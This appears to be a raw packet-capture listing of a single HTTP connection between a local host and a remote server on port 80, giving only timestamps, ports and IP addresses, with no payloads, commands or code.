Jan 11, 2025 05:45:10.973937988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.973944902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.975056887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.975084066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.975095034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.975102901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.975136995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.975248098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.975260019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.975303888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.989043951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.989065886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.989124060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.021569014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021708965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021725893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021739960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021750927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021759987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.021790028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.021797895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021810055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021840096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.021945000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021956921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021966934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021977901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021989107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.021991014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.022027016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.022202969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.055452108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.055480957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.055493116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.055574894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.055607080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.055619001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.055669069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.055852890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.055898905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.055908918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.055952072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.055954933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.055963993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056005001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.056072950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056083918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056093931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056127071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.056152105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.056155920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056168079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056180954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056214094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.056308985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056320906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056371927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.056404114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056415081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056426048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056437016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056448936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056452036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.056490898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.056513071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.056679010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056689978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056699991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056711912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056724072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056734085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056741953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.056746006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056756973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056771040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056777000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.056794882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.056956053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.056967020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057012081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.057090998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057101965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057111979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057122946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057146072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.057159901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057171106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.057172060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057183027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057194948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057208061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057214022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.057238102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.057260036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.057617903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057629108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057640076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057651043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057662010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057672977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057677984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.057683945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057697058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057708025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057715893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.057719946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057732105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057739973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.057743073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057754993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057773113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.057791948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.057969093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.057980061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058001041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058012009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058022976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058028936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058037043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058064938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058085918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058233976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058244944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058305979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058342934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058355093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058365107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058377028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058387995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058398962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058398962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058410883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058418989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058423042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058439970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058463097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058769941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058780909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058792114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058803082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058815956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058821917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058828115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058839083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058855057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058856010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058866978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058873892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058877945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058888912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.058895111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058913946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.058944941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.060570002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.060589075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.060636044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.060717106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.060728073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.060738087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.060765028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.060769081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.060781002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.060812950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.061867952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.061920881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.061923981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.061930895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.061971903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.062041998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.062052011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.062093019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.062144995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.062155008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.062165022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.062197924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.068996906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.075786114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.075809002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.075819016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.075846910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.075874090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.075937986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.075949907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.075967073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.075989008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.076050997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.076061964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.076086044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.108529091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108556032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108566046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108598948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108628035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.108660936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.108673096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108685017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108695984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108705044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108716965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.108737946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.108936071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108946085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108954906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108967066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108977079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108984947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.108985901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.108992100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.109025955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.109051943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.109150887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.109160900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.109204054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.118454933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.142384052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142416954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142429113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142481089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.142518044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142529011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142539978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142561913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.142591000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.142616987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142749071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142788887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.142808914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142818928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142853022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.142859936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142869949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.142919064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.143063068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143074036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143084049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143109083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.143158913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143171072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143181086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143203020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.143224955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.143356085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143367052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143379927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143390894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143400908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143403053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.143412113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143444061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.143466949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.143614054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143624067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143635035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143646002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143656969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143666029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143666029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.143699884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.143863916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143874884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143923044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.143945932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143956900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143968105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143978119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143990993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.143999100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.144001961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144011021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144021034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144023895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.144052982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.144068003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.144475937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144486904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144496918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144507885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144520044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144526958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.144531965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144543886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144555092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144560099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.144566059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144576073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144582987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.144587994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144598007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144608021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144610882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.144618988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.144650936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.144675970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.145184994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145198107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145206928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145217896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145227909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145240068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145241976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.145250082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145260096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145267963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.145271063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145282030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145292997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145301104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.145304918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145317078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145323992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.145327091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145339966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145349026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.145370007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.145971060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145982027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.145992041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146003008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146013975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146019936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.146023989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146034956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146044970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146055937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146056890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.146064997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146075964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146080017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.146085978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146096945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146101952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.146109104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146120071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146121025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.146131039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146142960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146150112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.146153927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:11.146178961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:11.146671057 CET	49730	80	192.168.2.4	193.143.1.205
